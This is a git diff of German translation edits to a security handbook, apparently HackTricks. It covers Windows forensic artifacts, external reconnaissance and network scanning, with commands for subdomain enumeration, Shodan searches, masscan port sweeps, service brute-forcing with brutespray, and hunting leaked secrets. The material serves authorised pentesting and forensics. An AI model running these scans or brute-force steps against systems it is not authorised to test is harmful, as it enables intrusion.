 **Superprefetch** hat dasselbe Ziel wie Prefetch, **Programme schneller zu laden**, indem vorhergesagt wird, was als Nächstes geladen wird. Es ersetzt jedoch nicht den Prefetch-Dienst.\
 Dieser Dienst generiert Datenbankdateien in `C:\Windows\Prefetch\Ag*.db`.
 
-In diesen Datenbanken finden Sie den **Namen** des **Programms**, die **Anzahl** der **Ausführungen**, die **geöffneten** **Dateien**, das **zugreifende** **Volumen**, den **kompletten** **Pfad**, **Zeitrahmen** und **Zeitstempel**.
+In diesen Datenbanken finden Sie den **Namen** des **Programms**, die **Anzahl** der **Ausführungen**, die **geöffneten** **Dateien**, das **zugreifende** **Volume**, den **kompletten** **Pfad**, **Zeitrahmen** und **Zeitstempel**.
 
 Sie können auf diese Informationen mit dem Tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) zugreifen.
 
@@ -327,7 +327,7 @@ Sie können das Datum aus dieser Datei mit dem Tool [**srum_dump**](https://gith
 ```
 ### AppCompatCache (ShimCache)
 
-Der **AppCompatCache**, auch bekannt als **ShimCache**, ist Teil der **Application Compatibility Database**, die von **Microsoft** entwickelt wurde, um Probleme mit der Anwendungskompatibilität zu beheben. Dieses Systemkomponente zeichnet verschiedene Stücke von Dateimetadaten auf, die Folgendes umfassen:
+Der **AppCompatCache**, auch bekannt als **ShimCache**, ist Teil der **Application Compatibility Database**, die von **Microsoft** entwickelt wurde, um Probleme mit der Anwendungskompatibilität zu beheben. Diese Systemkomponente zeichnet verschiedene Stücke von Dateimetadaten auf, die Folgendes umfassen:
 
 - Vollständiger Pfad der Datei
 - Größe der Datei
@@ -335,7 +335,7 @@ Der **AppCompatCache**, auch bekannt als **ShimCache**, ist Teil der **Applicati
 - Letzte Aktualisierungszeit des ShimCache
 - Prozessausführungsflag
 
-Solche Daten werden in der Registrierung an bestimmten Orten basierend auf der Version des Betriebssystems gespeichert:
+Solche Daten werden im Registrierungseditor an bestimmten Orten basierend auf der Version des Betriebssystems gespeichert:
 
 - Für XP werden die Daten unter `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` mit einer Kapazität von 96 Einträgen gespeichert.
 - Für Server 2003 sowie für Windows-Versionen 2008, 2012, 2016, 7, 8 und 10 ist der Speicherpfad `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, der 512 bzw. 1024 Einträge aufnehmen kann.
@@ -346,7 +346,7 @@ Um die gespeicherten Informationen zu analysieren, wird das [**AppCompatCachePar
 
 ### Amcache
 
-Die **Amcache.hve**-Datei ist im Wesentlichen ein Registrierungshive, der Details über Anwendungen protokolliert, die auf einem System ausgeführt wurden. Sie befindet sich typischerweise unter `C:\Windows\AppCompat\Programas\Amcache.hve`.
+Die **Amcache.hve**-Datei ist im Wesentlichen ein Registrierungs-Hive, der Details über Anwendungen protokolliert, die auf einem System ausgeführt wurden. Sie befindet sich typischerweise unter `C:\Windows\AppCompat\Programas\Amcache.hve`.
 
 Diese Datei ist bemerkenswert, da sie Aufzeichnungen über kürzlich ausgeführte Prozesse speichert, einschließlich der Pfade zu den ausführbaren Dateien und deren SHA1-Hashes. Diese Informationen sind von unschätzbarem Wert, um die Aktivität von Anwendungen auf einem System zu verfolgen.
 
@@ -396,18 +396,18 @@ Die Protokolle befinden sich in `C:\Windows\System32\config` vor Windows Vista u
 
 Der Speicherort der Ereignisdateien kann in der SYSTEM-Registrierung unter **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** gefunden werden.
 
-Sie können sie über die Windows-Ereignisanzeige (**`eventvwr.msc`**) oder mit anderen Tools wie [**Event Log Explorer**](https://eventlogxp.com) **oder** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)** visualisieren.**
+Sie können sie über die Windows-Ereignisanzeige (**`eventvwr.msc`**) oder mit anderen Tools wie [**Event Log Explorer**](https://eventlogxp.com) **oder** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
 
 ## Verständnis der Windows-Sicherheitsereignisprotokollierung
 
 Zugriffsereignisse werden in der Sicherheitskonfigurationsdatei aufgezeichnet, die sich unter `C:\Windows\System32\winevt\Security.evtx` befindet. Die Größe dieser Datei ist anpassbar, und wenn ihre Kapazität erreicht ist, werden ältere Ereignisse überschrieben. Aufgezeichnete Ereignisse umfassen Benutzeranmeldungen und -abmeldungen, Benutzeraktionen und Änderungen an Sicherheitseinstellungen sowie den Zugriff auf Dateien, Ordner und gemeinsame Assets.
 
-### Schlüsselereignis-IDs für die Benutzerauthentifizierung:
+### Wichtige Ereignis-IDs für die Benutzerauthentifizierung:
 
 - **EventID 4624**: Zeigt an, dass sich ein Benutzer erfolgreich authentifiziert hat.
 - **EventID 4625**: Signalisiert einen Authentifizierungsfehler.
 - **EventIDs 4634/4647**: Stellen Benutzerabmeldeereignisse dar.
-- **EventID 4672**: Bezeichnet eine Anmeldung mit administrativen Rechten.
+- **EventID 4672**: Bezeichnet die Anmeldung mit administrativen Rechten.
 
 #### Untertypen innerhalb von EventID 4634/4647:
 
@@ -437,7 +437,7 @@ Zugriffsereignisse werden in der Sicherheitskonfigurationsdatei aufgezeichnet, d
 - **0xC0000133**: Zeit-Synchronisationsprobleme - Große Zeitabweichungen zwischen Client und Server können auf ausgeklügeltere Angriffe wie Pass-the-Ticket hinweisen.
 - **0xC0000224**: Pflichtänderung des Passworts erforderlich - Häufige verpflichtende Änderungen könnten auf einen Versuch hinweisen, die Kontosicherheit zu destabilisieren.
 - **0xC0000225**: Zeigt einen Systemfehler an, nicht ein Sicherheitsproblem.
-- **0xC000015b**: Verweigerter Anmeldetyp - Zugriffsversuch mit unbefugtem Anmeldetyp, z. B. ein Benutzer, der versucht, einen Dienstanmeldeversuch auszuführen.
+- **0xC000015b**: Verweigerter Anmeldetyp - Zugriffsversuch mit unbefugtem Anmeldetyp, z. B. ein Benutzer, der versucht, einen Dienstanmeldetyp auszuführen.
 
 #### EventID 4616:
 
@@ -451,7 +451,7 @@ Zugriffsereignisse werden in der Sicherheitskonfigurationsdatei aufgezeichnet, d
 
 - **Protokolllöschung**: Sicherheitsprotokolle werden gelöscht, was oft ein Warnsignal für das Vertuschen illegaler Aktivitäten ist.
 
-#### EventIDs zur Verfolgung von USB-Geräten:
+#### Ereignis-IDs für die USB-Geräteverfolgung:
 
 - **20001 / 20003 / 10000**: Erste Verbindung des USB-Geräts.
 - **10100**: USB-Treiberaktualisierung.
@@ -479,7 +479,7 @@ Aufgezeichnet durch EventID 4616, können Änderungen an der Systemzeit die fore
 
 #### USB-Geräteverfolgung
 
-Nützliche System-Ereignis-IDs zur Verfolgung von USB-Geräten sind 20001/20003/10000 für die erste Nutzung, 10100 für Treiberaktualisierungen und EventID 112 von DeviceSetupManager für Einsteckzeitstempel.
+Nützliche System-Ereignis-IDs für die USB-Geräteverfolgung sind 20001/20003/10000 für die erste Nutzung, 10100 für Treiberaktualisierungen und EventID 112 von DeviceSetupManager für Einsteckzeitstempel.
 
 #### Systemstromereignisse
 

src/generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -34,7 +34,7 @@ Sie können **nach dem Unternehmensnamen**, nach **IP** oder nach **Domain** in
 amass intel -org tesla
 amass intel -asn 8911,50313,394161
 ```
-Außerdem aggregiert und fasst die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** die ASNs am Ende des Scans automatisch zusammen.
+Außerdem aggregiert und fasst die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot)**** die ASNs am Ende des Scans automatisch zusammen.
 ```bash
 bbot -t tesla.com -f subdomain-enum
 ...
@@ -51,26 +51,26 @@ bbot -t tesla.com -f subdomain-enum
 [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
 
 ```
-Sie können die IP-Bereiche einer Organisation auch mit [http://asnlookup.com/](http://asnlookup.com) finden (es hat eine kostenlose API).\
+Du kannst die IP-Bereiche einer Organisation auch mit [http://asnlookup.com/](http://asnlookup.com) finden (es hat eine kostenlose API).\
-Sie können die IP und ASN einer Domain mit [http://ipv4info.com/](http://ipv4info.com) finden.
+Du kannst die IP und ASN einer Domain mit [http://ipv4info.com/](http://ipv4info.com) finden.
 
 ### **Auf der Suche nach Schwachstellen**
 
-An diesem Punkt kennen wir **alle Vermögenswerte im Geltungsbereich**, also, wenn es Ihnen erlaubt ist, könnten Sie einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\
+An diesem Punkt kennen wir **alle Vermögenswerte im Geltungsbereich**, also könntest du, wenn es dir erlaubt ist, einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\
-Außerdem könnten Sie einige [**Port-Scans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man verschiedene mögliche Dienste testet.\
+Außerdem könntest du einige [**Port-Scans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was du findest, solltest du** in diesem Buch nachsehen, wie man verschiedene mögliche Dienste testet.\
-**Es könnte auch erwähnenswert sein, dass Sie auch einige** Standardbenutzernamen **und** Passwortlisten **vorbereiten und versuchen können,** Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu bruteforcen.
+**Es könnte auch erwähnenswert sein, dass du auch einige** Standardbenutzernamen **und** Passwortlisten **vorbereiten und versuchen kannst,** Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu bruteforcen.
 
 ## Domains
 
-> Wir kennen alle Unternehmen im Geltungsbereich und deren Vermögenswerte, es ist Zeit, die Domains im Geltungsbereich zu finden.
+> Wir kennen alle Unternehmen im Geltungsbereich und ihre Vermögenswerte, es ist Zeit, die Domains im Geltungsbereich zu finden.
 
-_Bitte beachten Sie, dass Sie mit den folgenden vorgeschlagenen Techniken auch Subdomains finden können und diese Informationen nicht unterschätzt werden sollten._
+_Bitte beachte, dass du mit den folgenden vorgeschlagenen Techniken auch Subdomains finden kannst und diese Informationen nicht unterschätzt werden sollten._
 
-Zunächst sollten Sie nach der **Hauptdomain**(s) jedes Unternehmens suchen. Zum Beispiel wird für _Tesla Inc._ die Domain _tesla.com_ sein.
+Zunächst solltest du nach der **Hauptdomain**(s) jedes Unternehmens suchen. Zum Beispiel wird für _Tesla Inc._ die Domain _tesla.com_ sein.
 
 ### **Reverse DNS**
 
-Da Sie alle IP-Bereiche der Domains gefunden haben, könnten Sie versuchen, **Reverse-DNS-Abfragen** auf diesen **IPs durchzuführen, um weitere Domains im Geltungsbereich zu finden**. Versuchen Sie, einen DNS-Server des Opfers oder einen bekannten DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden.
+Da du alle IP-Bereiche der Domains gefunden hast, könntest du versuchen, **Reverse-DNS-Abfragen** auf diesen **IPs durchzuführen, um weitere Domains im Geltungsbereich zu finden**. Versuche, einen DNS-Server des Opfers oder einen bekannten DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden.
 ```bash
 dnsrecon -r <DNS Range> -n <IP_DNS>   #DNS reverse of all of the addresses
 dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -93,15 +93,15 @@ Sie können Online-Tools wie verwenden:
 - [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nicht kostenlos (nur **100 kostenlose** Suchen)
 - [https://www.domainiq.com/](https://www.domainiq.com) - Nicht kostenlos
 
-Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink) verwenden (benötigt einen WhoXY API-Schlüssel).\
+Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink) verwenden (benötigt einen Whoxy-API-Schlüssel).\
-Sie können auch einige automatische Reverse-Whois-Entdeckungen mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
+Sie können auch eine automatische Reverse-Whois-Entdeckung mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
 
-**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal mehr Domainnamen zu entdecken, wenn Sie eine neue Domain finden.**
+**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
 
 ### **Trackers**
 
 Wenn Sie die **gleiche ID des gleichen Trackers** auf 2 verschiedenen Seiten finden, können Sie annehmen, dass **beide Seiten** von demselben Team **verwaltet werden**.\
-Zum Beispiel, wenn Sie dieselbe **Google Analytics ID** oder dieselbe **Adsense ID** auf mehreren Seiten sehen.
+Zum Beispiel, wenn Sie dieselbe **Google Analytics-ID** oder dieselbe **Adsense-ID** auf mehreren Seiten sehen.
 
 Es gibt einige Seiten und Tools, die es Ihnen ermöglichen, nach diesen Trackern und mehr zu suchen:
 
@@ -126,7 +126,7 @@ Darüber hinaus kannst du auch Technologien mithilfe des Favicon-Hashes suchen,
 ```bash
 shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
 ```
-So können Sie den **Favicon-Hash** einer Website **berechnen**:
+So können Sie den **Favicon-Hash** einer Website berechnen:
 ```python
 import mmh3
 import requests
@@ -175,11 +175,11 @@ Du könntest das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der O
 
 **Assetfinder**
 
-[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **Domains sucht, die mit einer Hauptdomain und deren Subdomains** verbunden sind, ziemlich erstaunlich.
+[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **Domains sucht, die mit einer Hauptdomain und deren Subdomains verbunden sind**, ziemlich erstaunlich.
 
 ### **Nach Schwachstellen suchen**
 
-Überprüfe einige [Domainübernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Vielleicht verwendet ein Unternehmen **eine Domain**, hat aber **das Eigentum verloren**. Registriere sie einfach (wenn sie günstig genug ist) und informiere das Unternehmen.
+Überprüfe einige [Domainübernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Vielleicht verwendet ein Unternehmen **eine Domain**, hat aber **die Eigentümerschaft verloren**. Registriere sie einfach (wenn sie günstig genug ist) und informiere das Unternehmen.
 
 Wenn du eine **Domain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen findest, solltest du einen **grundlegenden Schwachscann** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste laufen, kannst du in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\
 _Beachte, dass die Domain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, also ist sie nicht im Scope, sei vorsichtig._
@@ -195,7 +195,7 @@ Es ist Zeit, alle möglichen Subdomains jeder gefundenen Domain zu finden.
 
 ### **DNS**
 
-Lass uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zonenübertragungen** suchen (wenn verwundbar, solltest du dies melden).
+Lass uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch einen **Zonenübertrag** versuchen (wenn verwundbar, solltest du es melden).
 ```bash
 dnsrecon -a -d tesla.com
 ```
@@ -302,7 +302,7 @@ shodan domain <domain>
 # Get other pages with links to subdomains
 shodan search "http.html:help.domain.com"
 ```
-- [**Censys Subdomain-Finder**](https://github.com/christophetd/censys-subdomain-finder)
+- [**Censys Subdomain Finder**](https://github.com/christophetd/censys-subdomain-finder)
 ```bash
 export CENSYS_API_ID=...
 export CENSYS_API_SECRET=...
@@ -317,7 +317,7 @@ python3 DomainTrail.py -d example.com
 
 Dieses Projekt bietet **kostenlos alle Subdomains, die mit Bug-Bounty-Programmen verbunden sind**. Sie können auf diese Daten auch mit [chaospy](https://github.com/dr-0x0x/chaospy) zugreifen oder sogar auf den Umfang zugreifen, der von diesem Projekt verwendet wird [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list).
 
-Sie finden hier einen **Vergleich** vieler dieser Tools: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off).
+Sie finden einen **Vergleich** vieler dieser Tools hier: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off).
 
 ### **DNS Brute Force**
 
@@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
 ```
 gobuster dns -d mysite.com -t 50 -w subdomains.txt
 ```
-- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ist ein Wrapper um `massdns`, geschrieben in Go, der es Ihnen ermöglicht, gültige Subdomains durch aktives Brute-Forcing zu enumerieren sowie Subdomains mit Wildcard-Verarbeitung und einfacher Eingabe-Ausgabe-Unterstützung aufzulösen.
+- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ist ein Wrapper um `massdns`, geschrieben in Go, der es Ihnen ermöglicht, gültige Subdomains mit aktivem Bruteforce zu enumerieren sowie Subdomains mit Wildcard-Verarbeitung und einfacher Eingabe-Ausgabe-Unterstützung aufzulösen.
 ```
 shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
 ```
@@ -361,11 +361,11 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
 
 Nachdem Sie Subdomains mit offenen Quellen und Brute-Forcing gefunden haben, können Sie Variationen der gefundenen Subdomains generieren, um noch mehr zu finden. Mehrere Tools sind dafür nützlich:
 
-- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Gegebenenfalls die Domains und Subdomains Permutationen generieren.
+- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Gibt die Domains und Subdomains an und generiert Permutationen.
 ```bash
 cat subdomains.txt | dnsgen -
 ```
-- [**goaltdns**](https://github.com/subfinder/goaltdns): Gegebenen Domains und Subdomains Permutationen generieren.
+- [**goaltdns**](https://github.com/subfinder/goaltdns): Gegebene Domains und Subdomains Permutationen generieren.
 - Sie können die **wordlist** von goaltdns **hier** erhalten: [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
 ```bash
 goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
@@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
 ```
 - [**altdns**](https://github.com/infosec-au/altdns): Neben der Generierung von Subdomain-Permutationen kann es auch versuchen, diese aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden).
-- Sie können die altdns-Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten.
+- Sie können altdns-Permutationen **wordlist** in [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten.
 ```
 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
 ```
@@ -389,13 +389,13 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
 
 #### Intelligente Permutationsgenerierung
 
-- [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber es wird im Grunde die **Hauptteile** von den **entdeckten Subdomains** extrahieren und sie mischen, um weitere Subdomains zu finden.
+- [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber es wird im Grunde die **Hauptteile** von den **entdeckten Subdomains** entnehmen und sie mischen, um weitere Subdomains zu finden.
 ```bash
 python3 main.py adobe.com adobe adobe.rules
 make_brute_list.sh adobe.rules adobe.brute
 puredns resolve adobe.brute --write adobe.valid
 ```
-- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven, von DNS-Antworten geleiteten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Daten, um genauere entsprechende Domainnamen zu synthetisieren und diese in einer Schleife basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
+- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven, von DNS-Antworten geleiteten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Aufzeichnungen, um genauere entsprechende Domainnamen zu synthetisieren und diese in einer Schleife basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
 ```
 echo www | subzuf facebook.com
 ```
@@ -476,7 +476,7 @@ Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse zeigen,
 
 **Portscannen Sie alle IPs, die nicht zu CDNs gehören** (da Sie dort höchstwahrscheinlich nichts Interessantes finden werden). Bei den entdeckten laufenden Diensten könnten Sie **Schwachstellen finden**.
 
-**Finden Sie einen** [**Leitfaden**](../pentesting-network/index.html) **zum Scannen von Hosts.**
+**Finden Sie einen** [**Leitfaden**](../pentesting-network/index.html) **darüber, wie man Hosts scannt.**
 
 ## Webserver-Jagd
 
@@ -484,10 +484,10 @@ Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse zeigen,
 
 In den vorherigen Schritten haben Sie wahrscheinlich bereits einige **Recon der entdeckten IPs und Domains** durchgeführt, sodass Sie **bereits alle möglichen Webserver gefunden haben**. Wenn nicht, werden wir jetzt einige **schnelle Tricks zur Suche nach Webservern** im Scope sehen.
 
-Bitte beachten Sie, dass dies **auf die Entdeckung von Webanwendungen** ausgerichtet ist, sodass Sie auch **den Schwachstellenscan** und **Portscan** durchführen sollten (**wenn im Scope erlaubt**).
+Bitte beachten Sie, dass dies **auf die Entdeckung von Webanwendungen** ausgerichtet sein wird, sodass Sie auch **den Schwachstellen-** und **Portscan** durchführen sollten (**wenn im Scope erlaubt**).
 
-Eine **schnelle Methode**, um **offene Ports** im Zusammenhang mit **Web**-Servern zu entdecken, finden Sie [**hier mit masscan**](../pentesting-network/index.html#http-port-discovery).\
+Eine **schnelle Methode**, um **offene Ports** im Zusammenhang mit **Web**-Servern zu entdecken, ist [**masscan** hier zu finden](../pentesting-network/index.html#http-port-discovery).\
-Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein, und es wird versuchen, eine Verbindung zu Port 80 (http) und 443 (https) herzustellen. Zusätzlich können Sie angeben, dass andere Ports ausprobiert werden sollen:
+Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Sie geben einfach eine Liste von Domains ein, und es wird versuchen, sich mit Port 80 (http) und 443 (https) zu verbinden. Zusätzlich können Sie angeben, dass andere Ports ausprobiert werden sollen:
 ```bash
 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@@ -553,7 +553,7 @@ Credential Leaks stehen im Zusammenhang mit Hacks von Unternehmen, bei denen **s
 Anmeldeinformationen und APIs könnten in den **öffentlichen Repositories** des **Unternehmens** oder der **Benutzer**, die für dieses Github-Unternehmen arbeiten, geleakt werden.\
 Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um **alle öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und automatisch [**gitleaks**](https://github.com/zricethezav/gitleaks) darüber auszuführen.
 
-**Leakos** kann auch verwendet werden, um **gitleaks** gegen alle **Text-URLs**, die ihm übergeben werden, auszuführen, da manchmal **Webseiten auch Geheimnisse enthalten**.
+**Leakos** kann auch verwendet werden, um **gitleaks** gegen alle **Text**-URLs auszuführen, die ihm übergeben werden, da manchmal **Webseiten auch Geheimnisse enthalten**.
 
 #### Github Dorks
 
@@ -566,11 +566,11 @@ github-leaked-secrets.md
 ### Pastes Leaks
 
 Manchmal werden Angreifer oder einfach Mitarbeiter **Unternehmensinhalte auf einer Paste-Seite veröffentlichen**. Dies könnte **sensible Informationen** enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
-Sie können das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um in mehr als 80 Paste-Seiten gleichzeitig zu suchen.
+Sie können das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um gleichzeitig in mehr als 80 Paste-Seiten zu suchen.
 
 ### Google Dorks
 
-Alte, aber bewährte Google Dorks sind immer nützlich, um **exponierte Informationen zu finden, die dort nicht sein sollten**. Das einzige Problem ist, dass die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) mehrere **tausend** mögliche Abfragen enthält, die Sie nicht manuell ausführen können. Sie können also Ihre 10 Lieblingsabfragen auswählen oder ein **Tool wie** [**Gorks**](https://github.com/carlospolop/Gorks) **verwenden, um sie alle auszuführen**.
+Alte, aber bewährte Google Dorks sind immer nützlich, um **exponierte Informationen zu finden, die dort nicht sein sollten**. Das einzige Problem ist, dass die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) mehrere **tausend** mögliche Abfragen enthält, die Sie nicht manuell ausführen können. Daher können Sie Ihre 10 Lieblingsabfragen auswählen oder ein **Tool wie** [**Gorks**](https://github.com/carlospolop/Gorks) **verwenden, um sie alle auszuführen**.
 
 _Bedenken Sie, dass die Tools, die erwarten, die gesamte Datenbank mit dem regulären Google-Browser auszuführen, niemals enden werden, da Google Sie sehr schnell blockieren wird._
 
@@ -596,7 +596,7 @@ Es gibt auch kostenlose Dienste, die es Ihnen ermöglichen, **öffentliche Repos
 
 Die **Mehrheit der Schwachstellen**, die von Bug-Huntern gefunden werden, befindet sich in **Webanwendungen**, daher möchte ich an dieser Stelle über eine **Testmethodik für Webanwendungen** sprechen, und Sie können [**diese Informationen hier finden**](../../network-services-pentesting/pentesting-web/index.html).
 
-Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) geben, da, auch wenn Sie nicht erwarten sollten, dass sie sehr sensible Schwachstellen finden, sie nützlich sind, um sie in **Workflows zu implementieren, um einige erste Webinformationen zu erhalten.**
+Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) geben, da, wenn Sie nicht erwarten sollten, dass sie Ihnen sehr sensible Schwachstellen finden, sie nützlich sind, um sie in **Workflows zu implementieren, um einige erste Webinformationen zu erhalten.**
 
 ## Rekapitulation
 
@@ -605,11 +605,11 @@ Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Sca
 Sie haben bereits:
 
 1. Alle **Unternehmen** im Geltungsbereich gefunden
-2. Alle **Ressourcen** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich)
+2. Alle **Assets** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich)
 3. Alle **Domains** gefunden, die zu den Unternehmen gehören
 4. Alle **Subdomains** der Domains gefunden (gibt es eine Subdomain-Übernahme?)
 5. Alle **IPs** (von und **nicht von CDNs**) im Geltungsbereich gefunden.
-6. Alle **Webserver** gefunden und einen **Screenshot** davon gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?)
+6. Alle **Webserver** gefunden und einen **Screenshot** von ihnen gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?)
 7. Alle **potenziellen öffentlichen Cloud-Ressourcen** gefunden, die zu dem Unternehmen gehören.
 8. **E-Mails**, **Credential Leaks** und **Secret Leaks**, die Ihnen einen **großen Gewinn sehr einfach** bringen könnten.
 9. **Pentesting aller Webseiten, die Sie gefunden haben**

src/generic-methodologies-and-resources/pentesting-network/README.md

@@ -27,7 +27,7 @@ Was Sie benötigen, ist ein **schneller Port-Scanner** ([masscan](https://github
 #Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
 masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
 ```
-Sie könnten diesen Schritt auch mit `nmap` durchführen, aber es ist langsamer und `nmap` hat Probleme, Hosts zu identifizieren, die aktiv sind.
+Sie könnten diesen Schritt auch mit `nmap` durchführen, aber es ist langsamer und `nmap` hat Probleme, aktive Hosts zu identifizieren.
 
 ### HTTP Port Discovery
 
@@ -103,20 +103,20 @@ Beachten Sie, dass die in _Hosts von außen entdecken_ kommentierten Techniken (
 Aber da Sie im **gleichen Netzwerk** wie die anderen Hosts sind, können Sie **mehr Dinge** tun:
 
 - Wenn Sie eine **Subnetz-Broadcast-Adresse** **pingen**, sollte das Ping zu **jedem Host** ankommen und sie könnten **antworten**: `ping -b 10.10.5.255`
